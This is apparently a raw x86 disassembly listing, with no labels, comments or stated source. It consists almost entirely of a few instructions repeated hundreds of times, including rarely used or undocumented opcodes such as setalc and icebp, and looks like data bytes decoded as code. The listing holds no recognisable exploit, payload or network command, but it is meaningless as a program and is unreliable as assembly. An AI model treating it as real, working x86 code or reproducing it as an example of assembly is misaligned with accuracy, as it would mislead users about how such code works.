		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:2D38D3DBh, ch
		fcmovnbe st, st(3)
		cmp	ds:0B5F44F1h, ch
		icebp
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
		or	esi, ecx
		inc	esp
		pop	edi
